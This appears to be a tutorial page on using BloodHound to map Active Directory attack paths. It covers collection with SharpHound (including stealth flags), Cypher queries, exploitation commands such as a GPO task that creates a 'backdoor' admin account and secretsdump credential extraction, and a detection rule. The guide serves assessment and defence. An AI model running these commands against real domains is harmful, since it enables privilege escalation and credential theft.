
BloodHound: Active Directory Attack Paths
Comprehensive guide to BloodHound for Active Directory attack path analysis, enumeration, and identifying privilege escalation vectors in AD environments.
Introduction
BloodHound is a revolutionary Active Directory reconnaissance tool that uses graph theory to reveal hidden and often complex privilege escalation paths. By mapping relationships between users, groups, computers, and permissions, BloodHound transforms the overwhelming complexity of AD environments into actionable attack paths.
Originally developed by @_wald0, @CptJesus, and @harmj0y at SpecterOps, BloodHound has become an indispensable tool for both attackers and defenders. Red teams use it to identify the shortest path to domain admin, while blue teams leverage it to discover and remediate dangerous permissions before attackers can exploit them.
Essential AD Tool
BloodHound is considered a must-have tool for any Active Directory security assessment. It can identify attack paths that would take weeks to discover manually, often revealing privilege escalation routes through obscure group memberships, ACL permissions, and trust relationships.
Key Features
- Relationship Mapping: Visualizes complex AD relationships (group memberships, ACLs, trust relationships)
- Attack Path Discovery: Identifies shortest paths from compromised accounts to high-value targets
- Pre-Built Queries: Extensive library of common attack path queries
- Custom Cypher Queries: Powerful graph query language for custom analysis
- Multiple Collection Methods: Flexible data collection with SharpHound (C#) and BloodHound.py (Python)
- Cross-Domain Analysis: Supports multi-domain and forest trust environments
- Azure AD Integration: BloodHound CE supports Azure AD enumeration (AzureHound)
Installation and Setup
BloodHound Community Edition (Recommended)
# Install using Docker Compose
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound/examples/docker-compose/
docker-compose up -d
# Access web interface
# Navigate to http://localhost:8080
# Default credentials: admin:admin (change immediately)Classic BloodHound Installation
# Install Neo4j (graph database)
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
echo 'deb https://debian.neo4j.com stable 4.4' | sudo tee /etc/apt/sources.list.d/neo4j.list
sudo apt update
sudo apt install neo4j
# Start Neo4j
sudo neo4j start
# Set initial password
# Navigate to http://localhost:7474
# Default credentials: neo4j:neo4j
# Install BloodHound
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
chmod +x BloodHound
./BloodHoundConfigure Neo4j for Performance
# Edit Neo4j configuration
sudo nano /etc/neo4j/neo4j.conf
# Recommended settings for large datasets
dbms.memory.heap.initial_size=2G
dbms.memory.heap.max_size=4G
dbms.memory.pagecache.size=2G
# Restart Neo4j
sudo systemctl restart neo4jData Collection with SharpHound
SharpHound (C# Collector - Recommended)
Basic Collection:
# Download latest SharpHound
# https://github.com/BloodHoundAD/SharpHound/releases
# All collection methods
.\SharpHound.exe -c All
# Common options
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c All --outputdirectory C:\Temp
.\SharpHound.exe -c All --memcache --zipfilename cached.zipCollection Methods:
# Session collection (logged-on users)
.\SharpHound.exe -c Session
# LocalAdmin collection (local admin rights)
.\SharpHound.exe -c LocalAdmin
# Group membership collection
.\SharpHound.exe -c Group
# ACL collection (permissions)
.\SharpHound.exe -c ACL
# Trust relationships
.\SharpHound.exe -c Trusts
# Container collection (OUs and properties)
.\SharpHound.exe -c Container
# Combined collection (recommended)
.\SharpHound.exe -c All,GPOLocalGroupAdvanced Options:
# Specify domain
.\SharpHound.exe -c All -d domain.local
# Use specific domain controller
.\SharpHound.exe -c All --domaincontroller DC01.domain.local
# Loop collection every X minutes
.\SharpHound.exe -c Session --loop --loopduration 01:00:00
# Exclude domain controllers from session enum (stealth)
.\SharpHound.exe -c Session --excludedc
# Throttle requests (stealth)
.\SharpHound.exe -c All --throttle 1000
# Use LDAPS
.\SharpHound.exe -c All --secureldapOperational Security (OpSec) Considerations:
# Stealthy collection
.\SharpHound.exe -c All \
--excludedc \
--throttle 2000 \
--jitter 20 \
--zipfilename report_$(Get-Date -Format yyyyMMdd).zip
# Avoid session enumeration (generates SMB connections)
.\SharpHound.exe -c Group,ACL,Trusts,ContainerBloodHound.py (Python Collector)
# Install bloodhound.py
pip install bloodhound
# Basic collection
bloodhound-python -u username -p password -d domain.local -c All
# Specify domain controller
bloodhound-python -u username -p password -d domain.local -ns 10.10.10.10 -c All
# Use Kerberos authentication
bloodhound-python -u username -k -d domain.local -c All
# Disable certificate verification (for LDAPS)
bloodhound-python -u username -p password -d domain.local -c All --disable-cert-verificationCollection from Linux:
# Using NTLM authentication
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
# Using Kerberos ticket
export KRB5CCNAME=/tmp/krb5cc_1000
bloodhound-python -u [email protected] -k -d domain.local -ns 10.10.10.10 -c all
# Collection from non-domain-joined machine
bloodhound-python -u [email protected] -p password -ns 10.10.10.10 -d domain.local -c all --zipImporting and Analyzing Data
Import Data into BloodHound
# Launch BloodHound
./BloodHound
# Connect to database
# Database URL: bolt://localhost:7687
# Username: neo4j
# Password: [your password]
# Import data
# Drag and drop ZIP file OR
# Click "Upload Data" buttonInitial Analysis
Pre-Built Queries (Analysis Tab):
- Find all Domain Admins
- Find Shortest Paths to Domain Admins
- Find Principals with DCSync Rights
- Users with Foreign Domain Group Membership
- Groups with Foreign Domain Group Membership
- Map Domain Trusts
- Shortest Paths to Unconstrained Delegation Systems
- Shortest Paths from Kerberoastable Users
- Shortest Paths to Domain Admins from Kerberoastable Users
Node Info Panel:
Right-click any node to view:
- Overview: Basic information
- Node Properties: All AD attributes
- Extra Properties: Additional metadata
- Group Membership: Direct and indirect memberships
- Local Admin Rights: Systems where entity has local admin
- Execution Rights: Systems where entity can execute commands
- Outbound Object Control: Objects the entity can modify
- Inbound Object Control: Entities that can modify this object
Custom Cypher Queries
Essential Cypher Query Patterns
Find Shortest Path to Domain Admin:
MATCH (n:User {name:"[email protected]"}), (m:Group {name:"DOMAIN [email protected]"}),
p=shortestPath((n)-[*1..]->(m))
RETURN pFind All Paths to Domain Admin:
MATCH (n:User {name:"[email protected]"}), (m:Group {name:"DOMAIN [email protected]"}),
p=allShortestPaths((n)-[*1..]->(m))
RETURN pFind Users with DCSync Rights:
MATCH (n:User)-[r:MemberOf*1..]->(g:Group)-[r2:GetChanges|GetChangesAll]->(d:Domain)
RETURN n.name, g.name, d.nameKerberoastable Users with Paths to DA:
MATCH (u:User {hasspn:true})
MATCH (g:Group {name:"DOMAIN [email protected]"})
MATCH p=shortestPath((u)-[*1..]->(g))
RETURN pAS-REP Roastable Users:
MATCH (u:User {dontreqpreauth:true})
RETURN u.name, u.descriptionComputers Allowing Unconstrained Delegation:
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.operatingsystemHigh-Value Targets:
MATCH (n {highvalue:true})
RETURN n.name, labels(n)Users with Passwords in Description:
MATCH (u:User)
WHERE u.description =~ '(?i).*(pass|pwd|password|cred).*'
RETURN u.name, u.descriptionLocal Admin on Multiple Computers:
MATCH (u:User)-[r:AdminTo]->(c:Computer)
WITH u, count(c) as adminCount
WHERE adminCount > 1
RETURN u.name, adminCount
ORDER BY adminCount DESCFind Dangerous Permissions on Domain:
MATCH (n)-[r:WriteDacl|GenericAll|GenericWrite|Owns|WriteOwner]->(d:Domain)
RETURN n.name, type(r), d.nameAdvanced Attack Path Queries
Shortest Path from Owned User:
MATCH (n:User {owned:true}), (m:Group {name:"DOMAIN [email protected]"}),
p=shortestPath((n)-[*1..]->(m))
RETURN pFind Computers Where Owned Users are Local Admin:
MATCH (u:User {owned:true})-[r:AdminTo]->(c:Computer)
RETURN u.name, c.nameComputers with Owned Users in Session:
MATCH (u:User {owned:true})<-[r:HasSession]-(c:Computer)
RETURN u.name, c.nameUsers with Path from Owned Principal:
MATCH (n {owned:true}), (m:User),
p=shortestPath((n)-[*1..]->(m))
WHERE NOT m.owned
RETURN pGPOs Modifiable by Owned Users:
MATCH (u:User {owned:true})-[r:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]->(g:GPO)
RETURN u.name, g.name, type(r)Attack Path Examples
Path 1: Group Membership Chain
[email protected]
↓ MemberOf
IT [email protected]
↓ MemberOf
Server [email protected]
↓ GenericAll
DOMAIN [email protected]Exploitation:
# Add user to Domain Admins
net group "Domain Admins" User /add /domainPath 2: ACL-Based Privilege Escalation
[email protected]
↓ GenericAll
[email protected]
↓ ForceChangePassword
[email protected]
↓ AdminTo
DC01.DOMAIN.LOCALExploitation:
# Step 1: Add user to HelpDesk group
Add-ADGroupMember -Identity "HelpDesk" -Members "User"
# Step 2: Reset Admin password
Set-ADAccountPassword -Identity Admin -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewPass123!" -Force)
# Step 3: Use Admin credentials to access DC
Enter-PSSession -ComputerName DC01 -Credential DOMAIN\AdminPath 3: GPO Abuse
[email protected]
↓ GenericWrite
Corporate Workstations GPO
↓ GpLink
Domain [email protected]Exploitation:
# Modify GPO to add scheduled task
# Tools: SharpGPOAbuse, PowerView
SharpGPOAbuse.exe --AddComputerTask \
--TaskName "Update" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "cmd.exe" \
--Arguments "/c net user backdoor Password123! /add && net localgroup administrators backdoor /add" \
--GPOName "Corporate Workstations GPO"Path 4: Constrained Delegation
[email protected]
↓ GenericAll
[email protected] (AllowedToDelegate: HTTP/DC01)
↓ Impersonate
Any User → HTTP/DC01 (including DA)Exploitation:
# Request TGT for service account
getTGT.py domain.local/SERVICE01$ -hashes :ntlmhash
# Request service ticket as DA
getST.py domain.local/SERVICE01$ -spn HTTP/DC01.DOMAIN.LOCAL -impersonate Administrator -dc-ip 10.10.10.10
# Use ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k DC01.DOMAIN.LOCAL -just-dcDefensive Use Cases
Identifying Dangerous Permissions
// Find all GenericAll permissions to high-value targets
MATCH (n)-[r:GenericAll]->(m {highvalue:true})
RETURN n.name, m.name, labels(m)
// Excessive AdminTo relationships
MATCH (u:User)-[r:AdminTo]->(c:Computer)
WITH u, count(c) as adminCount
WHERE adminCount > 10
RETURN u.name, adminCount
ORDER BY adminCount DESCAudit Privileged Groups
// Members of Domain Admins
MATCH (n)-[r:MemberOf*1..]->(g:Group {name:"DOMAIN [email protected]"})
RETURN n.name, labels(n)
// Nested group memberships to privileged groups
MATCH p=(n:User)-[r:MemberOf*2..]->(g:Group {highvalue:true})
RETURN pFind Stale Objects
// Inactive users with admin rights
MATCH (u:User)-[r:AdminTo]->(c:Computer)
WHERE u.enabled = false OR u.lastlogontimestamp < (datetime().epochseconds - (90 * 86400))
RETURN u.name, u.lastlogontimestamp, count(c) as AdminCount
// Service accounts with passwords that don't expire
MATCH (u:User {hasspn:true})
WHERE u.pwdneverexpires = true
RETURN u.name, u.serviceprincipalnamesBloodHound Tips and Tricks
Mark Owned Principals
# Right-click node → "Mark User as Owned"
# Or bulk mark via Cypher:
MATCH (n:User) WHERE n.name IN ["[email protected]", "[email protected]"]
SET n.owned = trueSet High-Value Targets
// Mark custom high-value targets
MATCH (n) WHERE n.name IN ["[email protected]", "[email protected]"]
SET n.highvalue = trueExport Data
// Export all users to CSV
MATCH (u:User)
RETURN u.name, u.enabled, u.lastlogon, u.pwdlastsetDatabase Cleanup
// Clear all data
MATCH (n) DETACH DELETE n
// Clear owned markers
MATCH (n) WHERE n.owned = true SET n.owned = falsePerformance Optimization
// Create indexes for faster queries
CREATE INDEX ON :User(name)
CREATE INDEX ON :Computer(name)
CREATE INDEX ON :Group(name)Operational Security
Detection Risks
BloodHound collection generates:
- LDAP queries: Extensive LDAP enumeration
- SMB connections: Session enumeration connects to computers
- DNS queries: Name resolution for discovered systems
- Event logs: Domain controller logs LDAP queries (Event ID 1644)
Reducing Detection Footprint
# Minimal collection (no session enumeration)
.\SharpHound.exe -c DCOnly
# Throttled collection
.\SharpHound.exe -c All --throttle 5000 --jitter 30
# Loop session collection only (after initial enum)
.\SharpHound.exe -c Session --loop --loopduration 06:00:00 --excludedcBlue Team Detection
# Sigma rule for SharpHound detection
title: SharpHound Active Directory Enumeration
status: experimental
detection:
selection_ldap:
EventID: 1644 # LDAP queries
source: Microsoft-Windows-Directory-Services-SAM
selection_smb:
EventID: 5145 # Network share object accessed
ShareName: '\\\*\ADMIN$'
condition: selection_ldap OR selection_smbIntegration with Other Tools
Plumhound
Export BloodHound queries to reports:
# Install Plumhound
git clone https://github.com/PlumHound/PlumHound.git
cd PlumHound && pip install -r requirements.txt
# Generate report
python3 PlumHound.py -x tasks/default.tasks -p Password123CrackMapExec Integration
# Mark owned computers in BloodHound
crackmapexec smb 10.10.10.0/24 -u user -p password --bloodhound --collection AllPowerView Integration
# Export to BloodHound format
Import-Module PowerView.ps1
Invoke-BloodHound -CollectionMethod AllReferences
- BloodHound GitHub Repository
- SharpHound Collector
- BloodHound Documentation
- Cypher Query Language Reference
- SpecterOps Blog: BloodHound Resources
- MITRE ATT&CK: T1087 - Account Discovery
Next Steps
After BloodHound enumeration:
- Prioritize attack paths based on exploitability and stealth
- Validate paths through manual testing before exploitation
- Document findings with screenshots and path details
- Remediate dangerous permissions identified during defensive use
- Explore related Active Directory attack techniques:
Takeaway: BloodHound revolutionizes Active Directory security assessment by visualizing complex permission chains and trust relationships. Both attackers and defenders benefit from understanding AD attack paths - red teams to exploit them efficiently, blue teams to identify and remediate them proactively. Make BloodHound analysis a standard component of your Active Directory security program.
Last updated on
Tools
As a Offensive Security engineer, I rely on a curated set of tools to perform comprehensive security assessments across networks, web applications, and systems. This section provides a categorized overview of the tools I regularly use during red teaming, vulnerability assessments, and exploit development.
Hashcat: Advanced Password Cracking with GPU Acceleration
Master Hashcat for password recovery and security testing. Complete guide covering hash modes, attack types, rules, and optimization techniques.